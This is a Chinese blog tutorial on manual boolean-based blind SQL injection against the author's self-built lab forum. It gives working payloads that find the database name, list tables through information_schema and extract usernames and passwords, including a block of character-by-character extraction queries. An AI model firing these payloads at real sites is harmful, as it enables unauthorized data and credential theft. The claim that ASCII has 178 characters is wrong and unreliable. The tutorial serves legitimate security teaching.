【SQL注入04】布尔盲注实例手操

1 概述

  1. 当改变浏览器带入给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用union联合查询注入与报错注入,这时候可以试试看能否使用布尔注入。
  2. 布尔盲注:一般情况下,当带入参数为真和假时,页面会有不同的反映,比如有无显示也是一种不同,布尔盲注就是根据这种不同来反推我们输入的条件是真还是假。

2 实验平台

  1. 实验靶场——虚拟机:本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《win2008R2SP1+WAMP环境部署》,网站的搭建过程可以参考《综合实验:一个简单丑陋的论坛网站
  2. 注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
    在这里插入图片描述

3 实验步骤

3.1 判断是否存在注入点及注入的类型

在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在注入点以及注入类型,如是否是字符型还是数值型,是否存在延迟注入等。

  1. 用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。
    在这里插入图片描述
  2. 将参数修改为?id=2,并点击run,看到页面变化如下,弹出第二条留言内容,由此可见后台是根据id的不同来反馈不同信息,而id是访问者可控的,是一个注入点。
    在这里插入图片描述
  3. 修改参数为?id=1 and 1=1,返回页面与原页面一致 。通过该参数我们可以分析得到该注入数据类型为数值型,原因如下:
    (1) 猜测为数值型,则后台SQL语句为 select * from table where id=1 and 1=1,where语句判断条件为真且id=1,语句正常执行。
    (2) 猜测为字符型,则后台SQL语句为 select * from table where id=‘1 and 1=1’,where语句将找不到id为‘1 and 1=1’的参数,语句执行失败。
    (3) 更多数值型和字符型的判断方法请查看文章《反证法:判断注入类型是数值型还是字符型
    在这里插入图片描述
  4. 修改参数为 ?id=1 and 1=2 ,由于 and 1=2 为假 , 所以页面应返回与 id=1 不同的结果,如下图所示。也就是说是否能正常回显内容与语句的真假性有关。
    在这里插入图片描述
  5. 为了判断注入是数字型或是字符型,继续修改参数?id=1',就是多了一个单引号,并点击run,看到页面如下。除了标题没有任何回馈信息,可以判断的是该语句带入到SQL中执行时,无法正常执行回显内容,但没有提示错误信息不知道能不能就判断是数字型的注入。
    在这里插入图片描述
  6. 为判断参数是否存在延迟注入,按F12打开调试面板,在左侧继续修改参数为?id=1 and sleep(5),并点击run。可以看到sleep语句对网页的响应起到作用,也就是意味着存在延迟注入的可能。
    在这里插入图片描述
  7. 结论:
    1. 因为id参数是用户可控的,会随请求带入到数据库中执行并回显相应内容,是一个注入点。虽然可以用union注入,但是在本实验中我们演示如何使用布尔盲注。
    2. 根据第3步说明参数为数值型。
    3. 当参数条件为假时,无法正常回显,说明网页存在布尔类型状态。
    4. sleep语句对网页的响应起到作用,也就是意味着存在延迟注入。
    5. 从联合注入到盲注以及延迟注入,其时间人力成本逐步增大,尽可能选择低成本方式进行注入。

3.2 测试数据库名长度

  1. 修改参数为?id=1 and length(database())<10,页面正常显示,说明数据库名长度小于10为真。
    在这里插入图片描述
  2. 继续修改参数为?id=1 and length(database())<5,页面没有显示内容,说明数据库名长度小于5为假,也就是说数据库名长度为5到9,包括5和9。
    在这里插入图片描述
  3. 继续修改参数为?id=1 and length(database())<7,页面没有显示内容,说明数据库名长度小于7为假,也就是说数据库名长度为7、8或9。
    在这里插入图片描述
  4. 继续修改参数为?id=1 and length(database())<8,页面正常显示,结合前几步测试结果,说明数据库名长度等于7。在这里插入图片描述

3.3 逐个测试数据库名字符

  1. 可以将字母特殊符号和数字等逐个带入到参数中去判断,但是这些效率比较低,我们可以将字符转换为ASCII编码,利用数值能采用大小于号的判断方法,可以一次判断一大半,效率显著提高。ASCII公有178个字符,详细表单请查看《ASCII百科
  2. 这里需要用一个函数来获取数据库名的某一个字符,在不同数据库中方法不一致,常见的有:
    1. MySQL:substr(str,pos,len), substring(str,pos,len)。
    2. Oracle:substr(str,pos,len)。
    3. SQL Server:substring(str,pos,len)。
    4. 其中pos=1时表示的是字符串str的第1个字符。
  3. 修改参数为?id=1 and ascii(substr(database(),1,1))>89,页面正常显示,表示第一个字符ASCII码大于89。
    在这里插入图片描述
  4. 取89与178的中间数134进行判断,修改参数为?id=1 and ascii(substr(database(),1,1))>134,页面错误显示,表示第一个字符ASCII码为[90,134]间的整数。
    在这里插入图片描述
  5. 取90与134的中间数112进行判断,修改参数为?id=1 and ascii(substr(database(),1,1))>112,页面错误显示,表示第一个字符ASCII码为[90,112]间的整数。
    在这里插入图片描述
  6. 取90与112的中间数101进行判断,修改参数为?id=1 and ascii(substr(database(),1,1))>101,页面正常显示,表示第一个字符ASCII码为[102,112]间的整数。
    在这里插入图片描述
  7. 取102与112的中间数107进行判断,修改参数为?id=1 and ascii(substr(database(),1,1))>107,页面正常显示,表示第一个字符ASCII码为[108,112]间的整数。
    在这里插入图片描述
  8. 取108与112的中间数110进行判断,修改参数为?id=1 and ascii(substr(database(),1,1))>110,页面内容没有显示,表示第一个字符ASCII码为[108,109]间的整数,即是108或109。
    在这里插入图片描述
  9. 修改参数为?id=1 and ascii(substr(database(),1,1))=109,页面正常显示,说明第一个字符的ASCII码是109,查表可得该字符为m。
    在这里插入图片描述
  10. 按同样方法可以测试出其他6位字符,得到数据库名为my_test。
  11. 思路推广:可以无需先测试字符串长度,直接逐个分析每个字符串的ASCII码,先判断其是等于0,如果等于0则说明该位为空字符(空字符不是空格),字符串结束。

3.4 测试该数据库中所有表名

  1. 思路:先测出该数据库下有几张表,再测试表名的每个字符。
  2. 先测试my_test数据库中有多少个表。修改参数为?id=1 and (select count(table_name) from information_schema.tables where table_schema = 'my_test')<5,页面正常显示,逐步调整参数,最后判断表数量有2个。
    在这里插入图片描述
  3. 直接逐个字符分析,输入参数?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),1,1))=0,页面显示异常,说明该位置字符串非空。
    在这里插入图片描述
  4. 当某个表格连续两个字符均为空时,结束该表格名的测试。经过多次测试,输入以下命令均为真,可得两个表名依次为messages和users。
/*第一个表名*/
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),1,1))=109		//m
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),2,1))=101		//e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),3,1))=115		//s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),4,1))=115		//s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),5,1))=97			//a
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),6,1))=103		//g
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),7,1))=101		//e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),8,1))=115		//s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),9,1))=0			//空字符
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),10,1))=0			//空字符
/*第二个表名*/
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),1,1))=117		//u
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),2,1))=115		//s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),3,1))=101		//e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),4,1))=114		//r
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),5,1))=115		//s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),6,1))=0			//空字符
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),7,1))=0			//空字符

3.5 测试users表所含字段名

  1. 先测试users表中有多少个字符段。经过多次测试,修改参数为?id=1 and (select count(column_name) from information_schema.columns where table_name = 'users')=5,页面正常显示,说明该表有5个字段。
  2. 按类似测试表名的方式,可以测试出所有字段名依次为id、name、password、photo、signature。

3.6 测试name字段和password字段所在字段内容

  1. 先测试name字段还有多少内容,经过多次测试,修改参数为?id=1 and (select count(name) from users)=3,页面正常显示,说明name字段有3个内容。同理password字段有3个内容。
  2. 与表名和字段名同理,可测试出name和password字段所有内容。

4 总结

  1. 理解布尔注入的判断原理;
  2. 掌握布尔盲注的方法。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值